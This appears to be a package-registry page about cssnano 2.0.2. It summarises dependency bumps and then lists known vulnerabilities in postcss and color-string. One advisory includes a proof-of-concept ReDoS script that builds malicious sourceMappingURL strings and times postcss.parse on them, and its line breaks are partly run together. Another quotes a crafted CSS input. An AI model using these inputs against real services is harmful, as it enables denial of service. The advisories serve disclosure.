Cssnano is a modular minifier for CSS files built upon the PostCSS ecosystem, designed to optimize CSS code for production environments. Comparing versions 2.0.2 and 2.0.1 reveals subtle but important updates for developers focused on CSS optimization. The core functionality remains consistent, aiming to reduce CSS file sizes through various techniques like whitespace removal, code compression, and rule merging.
Key improvements in version 2.0.2 reside in dependency updates, specifically within the PostCSS ecosystem. postcss is updated from version ^4.1.11 to ^4.1.13, autoprefixer-core moves from ^5.2.0 to ^5.2.1, and postcss-minify-selectors goes from ^1.4.1 to ^1.4.2. These updates likely include bug fixes, performance improvements, and enhanced compatibility with evolving CSS standards. While seemingly small, these dependency bumps ensure that cssnano benefits from the latest refinements in the underlying tools which handle CSS parsing and manipulation.
For developers, these incremental updates translate to a more robust and reliable CSS minification process. The newer version is likely to handle a broader range of CSS syntax correctly, produce smaller file sizes due to improved algorithms, and integrate more seamlessly with other PostCSS-based workflows. Furthermore, staying up-to-date with dependency versions mitigates potential security vulnerabilities and improves overall project maintainability. Choosing version 2.0.2 offers a slightly refined and optimized approach to CSS minification compared to its predecessor, making it a preferred choice for development workflows.
All the vulnerabilities related to the version 2.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.